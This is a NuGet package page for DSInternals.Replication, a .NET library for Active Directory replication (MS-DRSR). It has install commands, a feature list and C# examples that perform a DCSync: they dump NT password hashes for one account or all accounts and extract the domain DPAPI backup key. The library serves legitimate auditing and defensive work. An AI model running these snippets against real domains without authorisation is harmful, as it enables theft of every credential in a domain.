DSInternals.Replication 6.3.0

Prefix Reserved
dotnet add package DSInternals.Replication --version 6.3.0
                    
NuGet\Install-Package DSInternals.Replication -Version 6.3.0
                    
This command is intended to be used within the Package Manager Console in Visual Studio, as it uses the NuGet module's version of Install-Package.
<PackageReference Include="DSInternals.Replication" Version="6.3.0" />
                    
For projects that support PackageReference, copy this XML node into the project file to reference the package.
<PackageVersion Include="DSInternals.Replication" Version="6.3.0" />
                    
Directory.Packages.props
<PackageReference Include="DSInternals.Replication" />
                    
Project file
For projects that support Central Package Management (CPM), copy this XML node into the solution Directory.Packages.props file to version the package.
paket add DSInternals.Replication --version 6.3.0
                    
#r "nuget: DSInternals.Replication, 6.3.0"
                    
#r directive can be used in F# Interactive and Polyglot Notebooks. Copy this into the interactive tool or source code of the script to reference the package.
#:package DSInternals.Replication@6.3.0
                    
#:package directive can be used in C# file-based apps starting in .NET 10 preview 4. Copy this into a .cs file before any lines of code to reference the package.
#addin nuget:?package=DSInternals.Replication&version=6.3.0
                    
Install as a Cake Addin
#tool nuget:?package=DSInternals.Replication&version=6.3.0
                    
Install as a Cake Tool

DSInternals Replication Library

Introduction

The DSInternals.Replication package implements a client for the Active Directory Replication Service Remote Protocol (MS-DRSR). This is commonly known as DCSync and allows you to remotely extract password hashes and other sensitive data from domain controllers.

Key Features

  • DCSync Attack: Replicate password hashes from domain controllers remotely
  • Full Account Replication: Retrieve complete account objects including all attributes
  • Incremental Replication: Sync only changed objects since last replication
  • DPAPI Backup Key Retrieval: Extract domain DPAPI backup keys for credential decryption
  • KDS Root Key Access: Retrieve Key Distribution Service root keys for gMSA password computation
  • Schema Replication: Replicate the Active Directory schema

Usage Examples

Connecting to a Domain Controller

using DSInternals.Replication;
using System.Net;

string domainController = "dc01.contoso.com";

// Connect using current credentials
using var client = new DirectoryReplicationClient(domainController);

Console.WriteLine($"Connected to: {client.DomainNamingContext}");
Console.WriteLine($"NetBIOS Domain: {client.NetBIOSDomainName}");

Replicating a Single Account (DCSync)

using DSInternals.Replication;
using DSInternals.Common.Data;

string domainController = "dc01.contoso.com";

using var client = new DirectoryReplicationClient(domainController);

// Replicate a specific account by distinguished name
string userDn = "CN=Administrator,CN=Users,DC=contoso,DC=com";
DSAccount account = client.GetAccount(userDn);

Console.WriteLine($"Account: {account.SamAccountName}");
Console.WriteLine($"SID: {account.Sid}");

if (account.NTHash != null)
{
    string ntHash = BitConverter.ToString(account.NTHash).Replace("-", "");
    Console.WriteLine($"NT Hash: {ntHash}");
}

Replicating All Domain Accounts

using DSInternals.Replication;
using DSInternals.Common.Data;

string domainController = "dc01.contoso.com";

using var client = new DirectoryReplicationClient(domainController);

// Enumerate all accounts in the domain
foreach (DSAccount account in client.GetAccounts())
{
    Console.WriteLine($"Account: {account.SamAccountName}");

    if (account.NTHash != null)
    {
        string ntHash = BitConverter.ToString(account.NTHash).Replace("-", "");
        Console.WriteLine($"  NT Hash: {ntHash}");
    }
}

Connecting with Alternate Credentials

using DSInternals.Replication;
using System.Net;

string domainController = "dc01.contoso.com";

// Create credentials
var credential = new NetworkCredential(
    userName: "admin",
    password: "P@ssw0rd",
    domain: "CONTOSO"
);

using var client = new DirectoryReplicationClient(domainController, credential);

// Now perform replication operations...

Extracting DPAPI Backup Keys

using DSInternals.Replication;

string domainController = "dc01.contoso.com";

using var client = new DirectoryReplicationClient(domainController);

// Get the domain DPAPI backup key
var backupKey = client.GetDPAPIBackupKey();

Console.WriteLine($"Key ID: {backupKey.KeyId}");
// Use the key to decrypt DPAPI-protected data

Security Considerations

This library performs operations that require elevated privileges:

  • Replicating Directory Changes permission (for basic replication)
  • Replicating Directory Changes All permission (for password hash replication)
  • These permissions are typically held by Domain Admins and Domain Controllers
Product Compatible and additional computed target framework versions.
.NET net8.0-windows7.0 is compatible.  net9.0-windows was computed.  net10.0-windows was computed. 
.NET Framework net48 is compatible.  net481 was computed. 
Compatible target framework(s)
Included target framework(s) (in package)
Learn more about Target Frameworks and .NET Standard.

NuGet packages

This package is not used by any NuGet packages.

GitHub repositories (1)

Showing the top 1 popular GitHub repositories that depend on DSInternals.Replication:

Repository Stars
lithnet/ad-password-protection
Active Directory password filter featuring breached password checking and custom complexity rules
Version Downloads Last Updated
6.3.0 149 2/8/2026
6.1.0 2,182 8/17/2025
6.0.1 212 8/14/2025
6.0.0 233 8/14/2025
5.3.0 547 4/11/2025
5.2.0 341 4/9/2025
5.0.0 307 3/3/2025
4.14.0 2,042 4/13/2024
4.13.0 1,285 12/20/2023
4.12.0 310 10/6/2023
4.10.0 277 10/1/2023
4.8.0 1,854 12/6/2022
4.7.0 1,714 10/30/2021
4.5.0 646 10/13/2021
4.3.0 34,696 4/2/2020
4.2.0 863 3/18/2020
4.0.0 916 12/4/2019
3.2.0 9,108 1/3/2019
3.1.0 1,164 12/29/2018
3.0.0 1,393 9/29/2018
Loading failed

- Added the AddSidHistory method for intra-domain and cross-forest SID history migration via MS-DRSR.
- Improved package structure.